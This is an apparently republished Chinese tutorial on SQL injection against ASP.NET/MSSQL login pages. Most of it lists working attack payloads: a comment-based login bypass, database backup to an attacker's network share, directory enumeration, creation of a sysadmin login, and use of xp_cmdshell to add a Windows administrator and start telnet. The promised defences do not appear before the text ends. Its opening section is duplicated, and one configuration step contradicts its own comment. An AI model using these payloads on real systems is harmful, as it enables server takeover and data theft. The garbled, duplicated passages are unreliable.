您现在的位置是:网站首页> 编程资料编程资料
SQL注入攻防入门详解 [图文并茂] 附示例下载_脚本攻防_网络安全_
2023-05-24
350人已围观
简介 SQL注入攻防入门详解 [图文并茂] 附示例下载_脚本攻防_网络安全_
=============安全性篇目录==============
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。
(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。
示例程序下载:SQL注入攻防入门详解_示例
什么是SQL注入(SQL Injection)
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
尝尝SQL注入
1. 一个简单的登录页面
关键代码:(详细见下载的示例代码)
privateboolNoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456)
1) 输入正常数据,效果如图:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 输入注入数据:
如图,即用户名为:用户名:admin’—,密码可随便输入
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))
2. 上面是最简单的一种SQL注入,常见的注入语句还有:
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。
(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。
示例程序下载:SQL注入攻防入门详解_示例
什么是SQL注入(SQL Injection)
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
尝尝SQL注入
1. 一个简单的登录页面
关键代码:(详细见下载的示例代码)
复制代码
代码如下:privateboolNoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456)
1) 输入正常数据,效果如图:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 输入注入数据:
如图,即用户名为:用户名:admin’—,密码可随便输入
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))
2. 上面是最简单的一种SQL注入,常见的注入语句还有:
1) 猜测数据库名,备份数据库
a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases
b) 备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--
或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
2) 猜解字段名称
a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
b) 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(知道位置即可上传木马)
先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs获得子目录列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)
4) 查询当前用户的数据库权限
MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。
5) 设置新的数据库帐户(得到管理员账户)
d) 在数据库内添加一个hax用户,默认密码是空
;execsp_addlogin'hax';--
e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)
;execmaster.dbo.sp_passwordnul,passwordl,username;--
f) 将hax添加到sysadmin组
;execmaster.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6) xp_cmdshell MSSQL存储过程
通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:
a) 判断xp_cmdshell扩展存储过程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
b) 恢复xp_cmdshell扩展存储过程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
开启后使用xp_cmdshell还会报下面错误:
SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
通过执行下面语句进行设置:
-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell扩展存储过程
Exec master.dbo.sp_dropextendedproc'xp_cmdshell';
d) 添加windows用户:
Exec xp_cmdshell'net user awen /add';
e) 设置好密码:
Exec xp_cmdshell'net user awen password';
f) 提升到管理员:
Exec xp_cmdshell'net localgroup administrators awen /add';
g) 开启telnet服务:
Exec xp_cmdshell'net start tlntsvr'
7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.
(本人提示:
本文由神整理自网络,如有侵权请联系本站删除!
本站声明:
1、本站所有资源均来源于互联网,不保证100%完整、不提供任何技术支持;
2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途;否则由此产生的法律后果,本站概不负责!
本站声明:
1、本站所有资源均来源于互联网,不保证100%完整、不提供任何技术支持;
2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途;否则由此产生的法律后果,本站概不负责!
相关内容
- 1KB文件夹快捷方式病毒清除软件_病毒查杀_网络安全_
- 使用爬虫采集网站时,解决被封IP的几种方法_脚本攻防_网络安全_
- 新型勒索病毒Petya重新席卷全球 勒索病毒Petya如何对文件进行加密_病毒查杀_网络安全_
- 浅谈史上最大DDoS攻击的本质与防范_脚本攻防_网络安全_
- 详解如何通过“鼠洞”控制电脑_脚本攻防_网络安全_
- 网站MYSQL数据库高级爆错注入原分析_脚本攻防_网络安全_
- 网站个人渗透技巧收集与总结 _脚本攻防_网络安全_
- 勒索病毒最新变种惊现!僵尸网络扩散中_病毒查杀_网络安全_
- 看windows如何为电脑打造“免检”木马_病毒查杀_网络安全_
- 中国南海和东南亚问题相关的网络攻击组织 捕获Patchwork APT攻击_脚本攻防_网络安全_
点击排行
本栏推荐
